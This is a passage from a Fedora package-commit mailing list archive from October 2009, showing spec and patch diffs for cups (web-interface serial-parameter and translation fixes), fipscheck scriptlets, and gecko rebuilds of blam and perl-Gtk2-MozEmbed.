+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ru/add-printer.tmpl.str3391 cups-1.4.1/templates/ru/add-printer.tmpl
--- cups-1.4.1/templates/ru/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/add-printer.tmpl	2009-10-27 15:09:24.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ru/modify-printer.tmpl.str3391 cups-1.4.1/templates/ru/modify-printer.tmpl
--- cups-1.4.1/templates/ru/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/modify-printer.tmpl	2009-10-27 15:10:48.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>

cups-str3396.patch:
 set-printer-options-header.tmpl |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3396.patch ---
diff -up cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396 cups-1.4.1/templates/de/set-printer-options-header.tmpl
--- cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396	2009-04-03 17:55:28.000000000 +0200
+++ cups-1.4.1/templates/de/set-printer-options-header.tmpl	2009-10-27 15:17:53.000000000 +0100
@@ -1,6 +1,6 @@
 <DIV CLASS="indent">
 
-<H2 CLASS="title">Standardeinstellungen f%uuml;r {printer_name} festlegen</H2>
+<H2 CLASS="title">Standardeinstellungen f&uuml;r {printer_name} festlegen</H2>
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.528
retrieving revision 1.529
diff -u -p -r1.528 -r1.529
--- cups.spec	20 Oct 2009 13:43:45 -0000	1.528
+++ cups.spec	27 Oct 2009 14:44:11 -0000	1.529
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 11%{?dist}
+Release: 12%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -57,6 +57,11 @@ Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
 Patch40: cups-str3382.patch
+Patch41: cups-str3285_v2.patch
+Patch42: cups-str3390.patch
+Patch43: cups-str3391.patch
+Patch44: cups-str3396.patch
+
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -218,6 +223,10 @@ gzip -n postscript.ppd
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
 %patch40 -p1 -b .str3382
+%patch41 -p1 -b .str3285_v2
+%patch42 -p1 -b .str3390
+%patch43 -p1 -b .str3391
+%patch44 -p1 -b .str3396
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -518,6 +527,12 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-12
+- Fix incorrectly applied patch from #STR3285 (bug #531108).
+- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
+- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
+- Fixed German translation (bug #531144, #STR3396).
+
 * Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-11
 - Fix cups-lpd to create unique temporary data files (bug #529838).
 



From jpopelka at fedoraproject.org  Tue Oct 27 14:44:35 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 27 Oct 2009 14:44:35 +0000 (UTC)
Subject: rpms/cups/F-11 cups-str3285_v2.patch, NONE, 1.1 cups-str3390.patch, 
	NONE, 1.1 cups-str3391.patch, NONE, 1.1 cups-str3396.patch, NONE,
	1.1 cups.spec, 1.524, 1.525
Message-ID: <20091027144435.C951211C00E6@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23077

Modified Files:
	cups.spec 
Added Files:
	cups-str3285_v2.patch cups-str3390.patch cups-str3391.patch 
	cups-str3396.patch 
Log Message:
* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-7
- Fix incorrectly applied patch from #STR3285 (bug #531108).
- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
- Fixed German translation (bug #531144, #STR3396).


cups-str3285_v2.patch:
 dest.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3285_v2.patch ---
diff -up cups-1.4.1/cups/dest.c.str3285 cups-1.4.1/cups/dest.c
--- cups-1.4.1/cups/dest.c.str3285	2009-10-27 12:50:04.560012076 +0000
+++ cups-1.4.1/cups/dest.c	2009-10-27 12:50:23.814012173 +0000
@@ -549,7 +549,7 @@ cupsGetNamedDest(http_t     *http,	/* I 
 
   if (!cups_get_sdests(http, op, name, 0, &dest))
   {
-    if (op == CUPS_GET_DEFAULT)
+    if (op == CUPS_GET_DEFAULT || name)
       return (NULL);
 
    /*

cups-str3390.patch:
 admin.c |    5 +++++
 1 file changed, 5 insertions(+)

--- NEW FILE cups-str3390.patch ---
diff -up cups-1.4.1/cgi-bin/admin.c.str3390 cups-1.4.1/cgi-bin/admin.c
--- cups-1.4.1/cgi-bin/admin.c.str3390	2009-08-29 08:05:14.000000000 +0200
+++ cups-1.4.1/cgi-bin/admin.c	2009-10-27 14:44:53.000000000 +0100
@@ -1044,6 +1044,11 @@ do_am_printer(http_t *http,		/* I - HTTP
         if ((attr = ippFindAttribute(oldinfo, "printer-location",
 	                             IPP_TAG_TEXT)) != NULL)
           cgiSetVariable("PRINTER_LOCATION", attr->values[0].string.text);
+
+	if ((attr = ippFindAttribute(oldinfo, "printer-is-shared",
+				     IPP_TAG_BOOLEAN)) != NULL)
+	  cgiSetVariable("PRINTER_IS_SHARED",
+			 attr->values[0].boolean ? "1" : "0");
       }
 
       cgiCopyTemplateLang("modify-printer.tmpl");

cups-str3391.patch:
 add-printer.tmpl       |    4 ++++
 de/add-printer.tmpl    |    4 ++++
 de/modify-printer.tmpl |    4 ++++
 es/add-printer.tmpl    |    4 ++++
 es/modify-printer.tmpl |    4 ++++
 eu/add-printer.tmpl    |    4 ++++
 eu/modify-printer.tmpl |    4 ++++
 ja/add-printer.tmpl    |    4 ++++
 ja/modify-printer.tmpl |    4 ++++
 modify-printer.tmpl    |    4 ++++
 pl/add-printer.tmpl    |    4 ++++
 pl/modify-printer.tmpl |    4 ++++
 ru/add-printer.tmpl    |    4 ++++
 ru/modify-printer.tmpl |    4 ++++
 14 files changed, 56 insertions(+)

--- NEW FILE cups-str3391.patch ---
diff -up cups-1.4.1/templates/add-printer.tmpl.str3391 cups-1.4.1/templates/add-printer.tmpl
--- cups-1.4.1/templates/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/add-printer.tmpl	2009-10-27 15:08:45.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/add-printer.tmpl.str3391 cups-1.4.1/templates/de/add-printer.tmpl
--- cups-1.4.1/templates/de/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/add-printer.tmpl	2009-10-27 15:08:56.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/de/modify-printer.tmpl.str3391 cups-1.4.1/templates/de/modify-printer.tmpl
--- cups-1.4.1/templates/de/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/de/modify-printer.tmpl	2009-10-27 15:10:28.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/es/add-printer.tmpl.str3391 cups-1.4.1/templates/es/add-printer.tmpl
--- cups-1.4.1/templates/es/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/add-printer.tmpl	2009-10-27 15:09:02.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/es/modify-printer.tmpl.str3391 cups-1.4.1/templates/es/modify-printer.tmpl
--- cups-1.4.1/templates/es/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/es/modify-printer.tmpl	2009-10-27 15:10:32.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/eu/add-printer.tmpl.str3391 cups-1.4.1/templates/eu/add-printer.tmpl
--- cups-1.4.1/templates/eu/add-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/add-printer.tmpl	2009-10-27 15:09:08.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/eu/modify-printer.tmpl.str3391 cups-1.4.1/templates/eu/modify-printer.tmpl
--- cups-1.4.1/templates/eu/modify-printer.tmpl.str3391	2009-07-07 18:52:34.000000000 +0200
+++ cups-1.4.1/templates/eu/modify-printer.tmpl	2009-10-27 15:10:37.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ja/add-printer.tmpl.str3391 cups-1.4.1/templates/ja/add-printer.tmpl
--- cups-1.4.1/templates/ja/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/add-printer.tmpl	2009-10-27 15:09:15.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ja/modify-printer.tmpl.str3391 cups-1.4.1/templates/ja/modify-printer.tmpl
--- cups-1.4.1/templates/ja/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ja/modify-printer.tmpl	2009-10-27 15:10:40.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/modify-printer.tmpl.str3391 cups-1.4.1/templates/modify-printer.tmpl
--- cups-1.4.1/templates/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/modify-printer.tmpl	2009-10-27 15:10:23.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/pl/add-printer.tmpl.str3391 cups-1.4.1/templates/pl/add-printer.tmpl
--- cups-1.4.1/templates/pl/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/add-printer.tmpl	2009-10-27 15:09:20.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/pl/modify-printer.tmpl.str3391 cups-1.4.1/templates/pl/modify-printer.tmpl
--- cups-1.4.1/templates/pl/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/pl/modify-printer.tmpl	2009-10-27 15:10:44.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>
diff -up cups-1.4.1/templates/ru/add-printer.tmpl.str3391 cups-1.4.1/templates/ru/add-printer.tmpl
--- cups-1.4.1/templates/ru/add-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/add-printer.tmpl	2009-10-27 15:09:24.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 {?current_make!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE" VALUE="{current_make}">:}
 {?current_make_and_model!?<INPUT TYPE="HIDDEN" NAME="CURRENT_MAKE_AND_MODEL" VALUE="{current_make_and_model}">:}
 
diff -up cups-1.4.1/templates/ru/modify-printer.tmpl.str3391 cups-1.4.1/templates/ru/modify-printer.tmpl
--- cups-1.4.1/templates/ru/modify-printer.tmpl.str3391	2009-06-18 19:23:21.000000000 +0200
+++ cups-1.4.1/templates/ru/modify-printer.tmpl	2009-10-27 15:10:48.000000000 +0100
@@ -4,6 +4,10 @@
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="OP" VALUE="{op}">
+<INPUT TYPE="HIDDEN" NAME="BAUDRATE" VALUE="{?baudrate}">
+<INPUT TYPE="HIDDEN" NAME="BITS" VALUE="{?bits}">
+<INPUT TYPE="HIDDEN" NAME="PARITY" VALUE="{?parity}">
+<INPUT TYPE="HIDDEN" NAME="FLOW" VALUE="{?flow}">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">
 
 <TABLE>

cups-str3396.patch:
 set-printer-options-header.tmpl |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE cups-str3396.patch ---
diff -up cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396 cups-1.4.1/templates/de/set-printer-options-header.tmpl
--- cups-1.4.1/templates/de/set-printer-options-header.tmpl.str3396	2009-04-03 17:55:28.000000000 +0200
+++ cups-1.4.1/templates/de/set-printer-options-header.tmpl	2009-10-27 15:17:53.000000000 +0100
@@ -1,6 +1,6 @@
 <DIV CLASS="indent">
 
-<H2 CLASS="title">Standardeinstellungen f%uuml;r {printer_name} festlegen</H2>
+<H2 CLASS="title">Standardeinstellungen f&uuml;r {printer_name} festlegen</H2>
 
 <FORM METHOD="POST" ACTION="/admin">
 <INPUT TYPE="HIDDEN" NAME="PRINTER_NAME" VALUE="{printer_name}">


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.524
retrieving revision 1.525
diff -u -p -r1.524 -r1.525
--- cups.spec	20 Oct 2009 13:44:07 -0000	1.524
+++ cups.spec	27 Oct 2009 14:44:34 -0000	1.525
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -57,6 +57,11 @@ Patch37: cups-avahi.patch
 Patch38: cups-str3332.patch
 Patch39: cups-str3356.patch
 Patch40: cups-str3382.patch
+Patch41: cups-str3285_v2.patch
+Patch42: cups-str3390.patch
+Patch43: cups-str3391.patch
+Patch44: cups-str3396.patch
+
 Patch100: cups-lspp.patch
 Epoch: 1
 Url: http://www.cups.org/
@@ -218,6 +223,10 @@ gzip -n postscript.ppd
 %patch38 -p1 -b .str3332
 %patch39 -p1 -b .str3356
 %patch40 -p1 -b .str3382
+%patch41 -p1 -b .str3285_v2
+%patch42 -p1 -b .str3390
+%patch43 -p1 -b .str3391
+%patch44 -p1 -b .str3396
 
 %if %lspp
 %patch100 -p1 -b .lspp
@@ -514,6 +523,12 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Tue Oct 27 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-7
+- Fix incorrectly applied patch from #STR3285 (bug #531108).
+- Set the PRINTER_IS_SHARED variable for admin.cgi (bug #529634, #STR3390).
+- Pass through serial parameters correctly in web interface (bug #529635, #STR3391).
+- Fixed German translation (bug #531144, #STR3396).
+
 * Tue Oct 20 2009 Jiri Popelka <jpopelka at redhat.com> 1:1.4.1-6
 - Fix cups-lpd to create unique temporary data files (bug #529838).
 



From tmraz at fedoraproject.org  Tue Oct 27 14:46:14 2009
From: tmraz at fedoraproject.org (=?utf-8?b?VG9tw6HFoSBNcsOheg==?=)
Date: Tue, 27 Oct 2009 14:46:14 +0000 (UTC)
Subject: rpms/fipscheck/F-12 fipscheck.spec,1.8,1.9
Message-ID: <20091027144614.1DA2C11C00E6@cvs1.fedora.phx.redhat.com>

Author: tmraz

Update of /cvs/pkgs/rpms/fipscheck/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24103

Modified Files:
	fipscheck.spec 
Log Message:
* Tue Oct 27 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-4
- ldconfig must be in the lib subpackage post(un)



Index: fipscheck.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fipscheck/F-12/fipscheck.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- fipscheck.spec	21 Aug 2009 13:23:17 -0000	1.8
+++ fipscheck.spec	27 Oct 2009 14:46:13 -0000	1.9
@@ -1,7 +1,7 @@
 Summary:	A library for integrity verification of FIPS validated modules
 Name:		fipscheck
 Version:	1.2.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 License:	BSD
 Group:		System Environment/Libraries
 # This is a Red Hat maintained package which is specific to
@@ -66,9 +66,9 @@ find $RPM_BUILD_ROOT -type f -name "*.la
 %clean
 rm -rf $RPM_BUILD_ROOT
 
-%post -p /sbin/ldconfig
+%post lib -p /sbin/ldconfig
 
-%postun -p /sbin/ldconfig
+%postun lib -p /sbin/ldconfig
 
 %files
 %defattr(-,root,root,-)
@@ -88,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libfipscheck.so
 
 %changelog
+* Tue Oct 27 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-4
+- ldconfig must be in the lib subpackage post(un)
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.2.0-3
 - rebuilt with new openssl
 



From xhorak at fedoraproject.org  Tue Oct 27 14:49:51 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:49:51 +0000 (UTC)
Subject: rpms/blam/F-11 blam.spec,1.32,1.33
Message-ID: <20091027144951.C6DDF11C00E6@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/blam/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24623

Modified Files:
	blam.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-15
- Rebuild against newer gecko



Index: blam.spec
===================================================================
RCS file: /cvs/pkgs/rpms/blam/F-11/blam.spec,v
retrieving revision 1.32
retrieving revision 1.33
diff -u -p -r1.32 -r1.33
--- blam.spec	9 Sep 2009 14:03:54 -0000	1.32
+++ blam.spec	27 Oct 2009 14:49:51 -0000	1.33
@@ -1,11 +1,11 @@
 ## XXX: Hopefully Mono, Blam and multilib will play nicely soon...
 %define	_libdir			%{_prefix}/lib
 %define	dbus_sharp_min_version	0.60
-%define	gecko_version		1.9.1.3
+%define	gecko_version		1.9.1.4
 
 Name:		blam
 Version:	1.8.5
-Release:	14%{?dist}
+Release:	15%{?dist}
 Summary:	An RSS/RDF feed reader
 
 Group:		Applications/Internet
@@ -138,6 +138,9 @@ update-desktop-database &> /dev/null ||:
 %{_mandir}/man?/%{name}.1*
 
 %changelog
+* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-15
+- Rebuild against newer gecko
+
 * Wed Sep 09 2009 Jan Horak <jhorak at redhat.com> - 1.8.5-14
 - Rebuild against newer gecko
 



From xhorak at fedoraproject.org  Tue Oct 27 14:50:36 2009
From: xhorak at fedoraproject.org (Jan Horak)
Date: Tue, 27 Oct 2009 14:50:36 +0000 (UTC)
Subject: rpms/perl-Gtk2-MozEmbed/devel perl-Gtk2-MozEmbed.spec,1.9,1.10
Message-ID: <20091027145036.93FB311C02BB@cvs1.fedora.phx.redhat.com>

Author: xhorak

Update of /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24806

Modified Files:
	perl-Gtk2-MozEmbed.spec 
Log Message:
* Tue Oct 27 2009 Jan Horak <jhorak at redhat.com> - 0.08-6.8
- Rebuild against newer gecko



Index: perl-Gtk2-MozEmbed.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Gtk2-MozEmbed/devel/perl-Gtk2-MozEmbed.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-Gtk2-MozEmbed.spec	11 Sep 2009 07:54:53 -0000	1.9
+++ perl-Gtk2-MozEmbed.spec	27 Oct 2009 14:50:36 -0000	1.10
@@ -1,7 +1,7 @@
 %define perlname Gtk2-MozEmbed
 
 %if 0%{?fedora} >= 11
-%define gecko_version 1.9.1.3
